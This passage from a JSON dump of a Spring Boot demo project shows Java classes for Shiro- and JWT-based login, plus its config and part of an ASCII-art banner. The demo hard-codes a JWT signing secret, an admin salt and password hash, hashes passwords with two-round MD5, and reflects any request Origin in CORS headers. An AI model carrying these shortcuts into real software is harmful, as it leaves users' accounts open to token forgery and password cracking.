    "content": "package com.xncoding.jwt.dao.domain;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n * 权限表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic class Permission {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    private Integer id;\n    /**\n     * 权限名称\n     */\n    private String permission;\n    /**\n     * 权限说明\n     */\n    private String description;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 权限名称.\n     *\n     * @return 权限名称.\n     */\n    public String getPermission() {\n        return permission;\n    }\n\n    /**\n     * 设置 权限名称.\n     *\n     * @param permission 权限名称.\n     */\n    public void setPermission(String permission) {\n        this.permission = permission;\n    }\n\n    /**\n     * 获取 权限说明.\n     *\n     * @return 权限说明.\n     */\n    public String getDescription() {\n        return description;\n    }\n\n    /**\n     * 设置 权限说明.\n     *\n     * @param description 权限说明.\n     */\n    public void setDescription(String description) {\n        this.description = description;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/dao/domain/Role.java",
    "content": "package com.xncoding.jwt.dao.domain;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n * 角色表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic class Role {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    private Integer id;\n    /**\n     * 角色名称\n     */\n    private String role;\n    /**\n     * 角色说明\n     */\n    private String description;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 角色名称.\n     *\n     * @return 角色名称.\n     */\n    public String getRole() {\n        return role;\n    }\n\n    /**\n     * 设置 角色名称.\n     *\n     * @param role 角色名称.\n     */\n    public void setRole(String role) {\n        this.role = role;\n    }\n\n    /**\n     * 获取 角色说明.\n     *\n     * @return 角色说明.\n     */\n    public String getDescription() {\n        return description;\n    }\n\n    /**\n     * 设置 角色说明.\n     *\n     * @param description 角色说明.\n     */\n    public void setDescription(String description) {\n        this.description = description;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/dao/domain/RolePermission.java",
    "content": "package com.xncoding.jwt.dao.domain;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n * 角色权限关联表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic class RolePermission {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    private Integer id;\n    /**\n     * 角色ID\n     */\n    private Integer roleId;\n    /**\n     * 权限ID\n     */\n    private Integer permissionId;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 角色ID.\n     *\n     * @return 角色ID.\n     */\n    public Integer getRoleId() {\n        return roleId;\n    }\n\n    /**\n     * 设置 角色ID.\n     *\n     * @param roleId 角色ID.\n     */\n    public void setRoleId(Integer roleId) {\n        this.roleId = roleId;\n    }\n\n    /**\n     * 获取 权限ID.\n     *\n     * @return 权限ID.\n     */\n    public Integer getPermissionId() {\n        return permissionId;\n    }\n\n    /**\n     * 设置 权限ID.\n     *\n     * @param permissionId 权限ID.\n     */\n    public void setPermissionId(Integer permissionId) {\n        this.permissionId = permissionId;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/exception/ForbiddenUserException.java",
    "content": "package com.xncoding.jwt.exception;\n\nimport org.apache.shiro.authc.AuthenticationException;\n\n/**\n * 禁用用户异常\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/12\n */\npublic class ForbiddenUserException extends AuthenticationException {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/exception/UnauthorizedException.java",
    "content": "package com.xncoding.jwt.exception;\n\n/**\n * UnauthorizedException\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/22\n */\npublic class UnauthorizedException extends RuntimeException {\n    public UnauthorizedException(String msg) {\n        super(msg);\n    }\n\n    public UnauthorizedException() {\n        super();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/model/ManagerInfo.java",
    "content": "package com.xncoding.jwt.model;\n\nimport com.xncoding.jwt.dao.domain.Manager;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Description: 后台运维管理员信息\n */\npublic class ManagerInfo extends Manager implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 状态\n     */\n    private String stateStr;\n    /**\n     * 所属项目id列表（逗号分隔）\n     */\n    private String pids;\n    /**\n     * 所属项目名列表（逗号分隔）\n     */\n    private String pnames;\n    /**\n     * 所属项目id列表\n     */\n    private List<Integer> pidsList;\n\n    /**\n     * 一个管理员具有多个角色\n     */\n    private List<SysRole> roles;// 一个用户具有多个角色\n\n    public ManagerInfo() {\n    }\n\n    public List<SysRole> getRoles() {\n        return roles;\n    }\n\n    public void setRoles(List<SysRole> roles) {\n        this.roles = roles;\n    }\n\n    /**\n     * 密码盐\n     */\n    public String getCredentialsSalt() {\n        return getUsername() + getSalt();\n    }\n\n    @Override\n    public String toString() {\n        return \"username:\" + getUsername() + \"|name=\" + getName();\n    }\n\n    public String getStateStr() {\n        return stateStr;\n    }\n\n    public void setStateStr(String stateStr) {\n        this.stateStr = stateStr;\n    }\n\n    public String getPids() {\n        return pids;\n    }\n\n    public void setPids(String pids) {\n        this.pids = pids;\n    }\n\n    public List<Integer> getPidsList() {\n        return pidsList;\n    }\n\n    public void setPidsList(List<Integer> pidsList) {\n        this.pidsList = pidsList;\n    }\n\n    public String getPnames() {\n        return pnames;\n    }\n\n    public void setPnames(String pnames) {\n        this.pnames = pnames;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/model/SysRole.java",
    "content": "package com.xncoding.jwt.model;\n\nimport com.xncoding.jwt.dao.domain.Permission;\nimport com.xncoding.jwt.dao.domain.Role;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Description  : 角色信息\n */\npublic class SysRole extends Role implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    // 拥有的权限列表\n    private List<Permission> permissions;\n\n    public SysRole() {\n    }\n\n    public List<Permission> getPermissions() {\n        return permissions;\n    }\n\n    public void setPermissions(List<Permission> permissions) {\n        this.permissions = permissions;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/service/ManagerInfoService.java",
    "content": "package com.xncoding.jwt.service;\n\nimport com.xncoding.jwt.model.ManagerInfo;\nimport com.xncoding.jwt.model.SysRole;\nimport com.xncoding.jwt.shiro.ShiroKit;\nimport org.springframework.stereotype.Service;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Date;\nimport java.util.List;\n\n/**\n * 后台用户管理\n */\n\n@Service\npublic class ManagerInfoService {\n\n    /**\n     * 通过名称查找用户\n     * 这里我直接写常量，实际生产环境会通过DAO访问数据库\n     *\n     * @param username\n     * @return\n     */\n    public ManagerInfo findByUsername(String username) {\n        ManagerInfo managerInfo = new ManagerInfo();\n        managerInfo.setUsername(username);\n        managerInfo.setPids(\"1,2,3\");\n        managerInfo.setPidsList(Arrays.asList(1, 2, 3));\n        managerInfo.setPnames(\"第1个,第2个\");\n        managerInfo.setState(1);\n        managerInfo.setCreatedTime(new Date());\n        managerInfo.setName(\"系统管理员\");\n        // 随机数\n        managerInfo.setSalt(\"ef748186673033723bbf4e056f4ec92e\");\n        managerInfo.setPassword(\"da9c3061ae5c0973a3d48e4e721cfbad\");\n        List<SysRole> roles = new ArrayList<>();\n        SysRole role = new SysRole();\n        role.setId(1);\n        role.setRole(\"admin\");\n        role.setDescription(\"超级管理员\");\n        roles.add(role);\n        managerInfo.setRoles(roles);\n        return managerInfo;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/shiro/JWTFilter.java",
    "content": "package com.xncoding.jwt.shiro;\n\nimport org.apache.shiro.web.filter.authc.BasicHttpAuthenticationFilter;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.web.bind.annotation.RequestMethod;\n\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\n\npublic class JWTFilter extends BasicHttpAuthenticationFilter {\n\n    private Logger LOGGER = LoggerFactory.getLogger(this.getClass());\n\n    /**\n     * 判断用户是否想要登入。\n     * 检测header里面是否包含Authorization字段即可\n     */\n    @Override\n    protected boolean isLoginAttempt(ServletRequest request, ServletResponse response) {\n        HttpServletRequest req = (HttpServletRequest) request;\n        String authorization = req.getHeader(\"Authorization\");\n        return authorization != null;\n    }\n\n    @Override\n    protected boolean executeLogin(ServletRequest request, ServletResponse response) {\n        HttpServletRequest httpServletRequest = (HttpServletRequest) request;\n        String authorization = httpServletRequest.getHeader(\"Authorization\");\n        JWTToken token = new JWTToken(authorization);\n        // 提交给realm进行登入，如果错误他会抛出异常并被捕获\n        getSubject(request, response).login(token);\n        // 如果没有抛出异常则代表登入成功，返回true\n        return true;\n    }\n\n    /**\n     * 这里我们详细说明下为什么最终返回的都是true，即允许访问\n     * 例如我们提供一个地址 GET /article\n     * 登入用户和游客看到的内容是不同的\n     * 如果在这里返回了false，请求会被直接拦截，用户看不到任何东西\n     * 所以我们在这里返回true，Controller中可以通过 subject.isAuthenticated() 来判断用户是否登入\n     * 如果有些资源只有登入用户才能访问，我们只需要在方法上面加上 @RequiresAuthentication 注解即可\n     * 但是这样做有一个缺点，就是不能够对GET,POST等请求进行分别过滤鉴权(因为我们重写了官方的方法)，但实际上对应用影响不大\n     */\n    @Override\n    protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) {\n        if (isLoginAttempt(request, response)) {\n            return executeLogin(request, response);\n        }\n        return true;\n    }\n\n    /**\n     * 对跨域提供支持\n     */\n    @Override\n    protected boolean preHandle(ServletRequest request, ServletResponse response) throws Exception {\n        HttpServletRequest httpServletRequest = (HttpServletRequest) request;\n        HttpServletResponse httpServletResponse = (HttpServletResponse) response;\n        httpServletResponse.setHeader(\"Access-control-Allow-Origin\", httpServletRequest.getHeader(\"Origin\"));\n        httpServletResponse.setHeader(\"Access-Control-Allow-Methods\", \"GET,POST,OPTIONS,PUT,DELETE\");\n        httpServletResponse.setHeader(\"Access-Control-Allow-Headers\", httpServletRequest.getHeader(\"Access-Control-Request-Headers\"));\n        // 跨域时会首先发送一个option请求，这里我们给option请求直接返回正常状态\n        if (httpServletRequest.getMethod().equals(RequestMethod.OPTIONS.name())) {\n            httpServletResponse.setStatus(HttpStatus.OK.value());\n            return false;\n        }\n        return super.preHandle(request, response);\n    }\n\n    /**\n     * 将非法请求 /401\n     */\n    private void response401(ServletRequest req, ServletResponse resp) {\n        try {\n            HttpServletResponse httpServletResponse = (HttpServletResponse) resp;\n            httpServletResponse.sendRedirect(\"/401\");\n        } catch (IOException e) {\n            LOGGER.error(e.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/shiro/JWTToken.java",
    "content": "package com.xncoding.jwt.shiro;\n\nimport org.apache.shiro.authc.AuthenticationToken;\n\npublic class JWTToken implements AuthenticationToken {\n\n    // 密钥\n    private String token;\n\n    public JWTToken(String token) {\n        this.token = token;\n    }\n\n    @Override\n    public Object getPrincipal() {\n        return token;\n    }\n\n    @Override\n    public Object getCredentials() {\n        return token;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/shiro/MyShiroRealm.java",
    "content": "package com.xncoding.jwt.shiro;\n\nimport com.xncoding.jwt.dao.domain.Permission;\nimport com.xncoding.jwt.common.util.JWTUtil;\nimport com.xncoding.jwt.model.ManagerInfo;\nimport com.xncoding.jwt.model.SysRole;\nimport com.xncoding.jwt.service.ManagerInfoService;\nimport org.apache.shiro.authc.AuthenticationException;\nimport org.apache.shiro.authc.AuthenticationInfo;\nimport org.apache.shiro.authc.AuthenticationToken;\nimport org.apache.shiro.authc.SimpleAuthenticationInfo;\nimport org.apache.shiro.authz.AuthorizationInfo;\nimport org.apache.shiro.authz.SimpleAuthorizationInfo;\nimport org.apache.shiro.realm.AuthorizingRealm;\nimport org.apache.shiro.subject.PrincipalCollection;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\n\n/**\n * Description  : 身份校验核心类\n */\n\npublic class MyShiroRealm extends AuthorizingRealm {\n\n    private static final Logger _logger = LoggerFactory.getLogger(MyShiroRealm.class);\n\n    @Autowired\n    ManagerInfoService managerInfoService;\n\n    /**\n     * JWT签名密钥\n     */\n    public static final String SECRET = \"9281e268b77b7c439a20b46fd1483b9a\";\n\n    /**\n     * 必须重写此方法，不然Shiro会报错\n     */\n    @Override\n    public boolean supports(AuthenticationToken token) {\n        return token instanceof JWTToken;\n    }\n\n    /**\n     * 认证信息(身份验证)\n     * Authentication 是用来验证用户身份\n     *\n     * @param auth\n     * @return\n     * @throws AuthenticationException\n     */\n    @Override\n    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken auth)\n            throws AuthenticationException {\n        _logger.info(\"MyShiroRealm.doGetAuthenticationInfo()\");\n\n        String token = (String) auth.getCredentials();\n        // 解密获得username，用于和数据库进行对比\n        String username = JWTUtil.getUsername(token);\n        if (username == null) {\n            throw new AuthenticationException(\"token invalid\");\n        }\n\n        //通过username从数据库中查找 ManagerInfo对象\n        //实际项目中，这里可以根据实际情况做缓存，如果不做，Shiro自己也是有时间间隔机制，2分钟内不会重复执行该方法\n        ManagerInfo managerInfo = managerInfoService.findByUsername(username);\n\n        if (managerInfo == null) {\n            throw new AuthenticationException(\"用户不存在!\");\n        }\n\n        if (!JWTUtil.verify(token, username, managerInfo.getPassword())) {\n            throw new AuthenticationException(\"Token认证失败\");\n        }\n\n        return new SimpleAuthenticationInfo(token, token, \"my_realm\");\n    }\n\n    /**\n     * 此方法调用hasRole,hasPermission的时候才会进行回调.\n     * <p>\n     * 权限信息.(授权):\n     * 1、如果用户正常退出，缓存自动清空；\n     * 2、如果用户非正常退出，缓存自动清空；\n     * 3、如果我们修改了用户的权限，而用户不退出系统，修改的权限无法立即生效。\n     * （需要手动编程进行实现；放在service进行调用）\n     * 在权限修改后调用realm中的方法，realm已经由spring管理，所以从spring中获取realm实例，调用clearCached方法；\n     * :Authorization 是授权访问控制，用于对用户进行的操作授权，证明该用户是否允许进行当前操作，如访问某个链接，某个资源文件等。\n     *\n     * @param principals\n     * @return\n     */\n    @Override\n    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {\n        /*\n         * 当没有使用缓存的时候，不断刷新页面的话，这个代码会不断执行，\n         * 当其实没有必要每次都重新设置权限信息，所以我们需要放到缓存中进行管理；\n         * 当放到缓存中时，这样的话，doGetAuthorizationInfo就只会执行一次了，\n         * 缓存过期之后会再次执行。\n         */\n        _logger.info(\"权限配置-->MyShiroRealm.doGetAuthorizationInfo()\");\n        String username = JWTUtil.getUsername(principals.toString());\n\n        // 下面的可以使用缓存提升速度\n        ManagerInfo managerInfo = managerInfoService.findByUsername(username);\n\n        SimpleAuthorizationInfo authorizationInfo = new SimpleAuthorizationInfo();\n\n        //设置相应角色的权限信息\n        for (SysRole role : managerInfo.getRoles()) {\n            //设置角色\n            authorizationInfo.addRole(role.getRole());\n            for (Permission p : role.getPermissions()) {\n                //设置权限\n                authorizationInfo.addStringPermission(p.getPermission());\n            }\n        }\n        return authorizationInfo;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/shiro/ShiroKit.java",
    "content": "/**\n * Copyright (c) 2015-2017, Chill Zhuang 庄骞 (smallchill@163.com).\n * <p>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.xncoding.jwt.shiro;\n\nimport org.apache.shiro.SecurityUtils;\nimport org.apache.shiro.crypto.SecureRandomNumberGenerator;\nimport org.apache.shiro.crypto.hash.SimpleHash;\nimport org.apache.shiro.subject.Subject;\n\n/**\n * shiro工具类\n *\n * @author dafei, Chill Zhuang\n */\npublic class ShiroKit {\n\n    private static final String NAMES_DELIMETER = \",\";\n\n    /**\n     * 散列算法\n     */\n    public final static String HASH_ALGORITHM_NAME = \"MD5\";\n\n    /**\n     * 循环次数\n     */\n    public final static int HASH_ITERATIONS = 2;\n\n    /**\n     * shiro密码加密工具类\n     *\n     * @param credentials 密码\n     * @param saltSource  密码盐\n     * @return\n     */\n    public static String md5(String credentials, String saltSource) {\n        return new SimpleHash(HASH_ALGORITHM_NAME, credentials, saltSource, HASH_ITERATIONS).toHex();\n    }\n\n    /**\n     * 获取随机盐值\n     *\n     * @param length 字节长度，一个字节2位16进制数表示\n     * @return\n     */\n    public static String getRandomSalt(int length) {\n        return new SecureRandomNumberGenerator().nextBytes(length).toHex();\n    }\n\n    /**\n     * 获取当前 Subject\n     *\n     * @return Subject\n     */\n    public static Subject getSubject() {\n        return SecurityUtils.getSubject();\n    }\n\n\n    /**\n     * 验证当前用户是否属于该角色？,使用时与lacksRole 搭配使用\n     *\n     * @param roleName 角色名\n     * @return 属于该角色：true，否则false\n     */\n    public static boolean hasRole(String roleName) {\n        return getSubject() != null && roleName != null\n                && roleName.length() > 0 && getSubject().hasRole(roleName);\n    }\n\n    /**\n     * 与hasRole标签逻辑相反，当用户不属于该角色时验证通过。\n     *\n     * @param roleName 角色名\n     * @return 不属于该角色：true，否则false\n     */\n    public static boolean lacksRole(String roleName) {\n        return !hasRole(roleName);\n    }\n\n    /**\n     * 验证当前用户是否属于以下任意一个角色。\n     *\n     * @param roleNames 角色列表\n     * @return 属于:true,否则false\n     */\n    public static boolean hasAnyRoles(String roleNames) {\n        boolean hasAnyRole = false;\n        Subject subject = getSubject();\n        if (subject != null && roleNames != null && roleNames.length() > 0) {\n            for (String role : roleNames.split(NAMES_DELIMETER)) {\n                if (subject.hasRole(role.trim())) {\n                    hasAnyRole = true;\n                    break;\n                }\n            }\n        }\n        return hasAnyRole;\n    }\n\n    /**\n     * 验证当前用户是否拥有指定权限,使用时与lacksPermission 搭配使用\n     *\n     * @param permission 权限名\n     * @return 拥有权限：true，否则false\n     */\n    public static boolean hasPermission(String permission) {\n        return getSubject() != null && permission != null\n                && permission.length() > 0\n                && getSubject().isPermitted(permission);\n    }\n\n    /**\n     * 与hasPermission标签逻辑相反，当前用户没有制定权限时，验证通过。\n     *\n     * @param permission 权限名\n     * @return 拥有权限：true，否则false\n     */\n    public static boolean lacksPermission(String permission) {\n        return !hasPermission(permission);\n    }\n\n    /**\n     * 已认证通过的用户，不包含已记住的用户，这是与user标签的区别所在。与notAuthenticated搭配使用\n     *\n     * @return 通过身份验证：true，否则false\n     */\n    public static boolean isAuthenticated() {\n        return getSubject() != null && getSubject().isAuthenticated();\n    }\n\n    /**\n     * 未认证通过用户，与authenticated标签相对应。与guest标签的区别是，该标签包含已记住用户。。\n     *\n     * @return 没有通过身份验证：true，否则false\n     */\n    public static boolean notAuthenticated() {\n        return !isAuthenticated();\n    }\n\n    /**\n     * 认证通过或已记住的用户。与guset搭配使用。\n     *\n     * @return 用户：true，否则 false\n     */\n    public static boolean isUser() {\n        return getSubject() != null && getSubject().getPrincipal() != null;\n    }\n\n    /**\n     * 验证当前用户是否为“访客”，即未认证（包含未记住）的用户。用user搭配使用\n     *\n     * @return 访客：true，否则false\n     */\n    public static boolean isGuest() {\n        return !isUser();\n    }\n\n    /**\n     * 输出当前用户信息，通常为登录帐号信息。\n     *\n     * @return 当前用户信息\n     */\n    public static String principal() {\n        if (getSubject() != null) {\n            Object principal = getSubject().getPrincipal();\n            return principal.toString();\n        }\n        return \"\";\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  项目启动端口  ###################\nserver.port: 9095\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/pos-api.log\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: 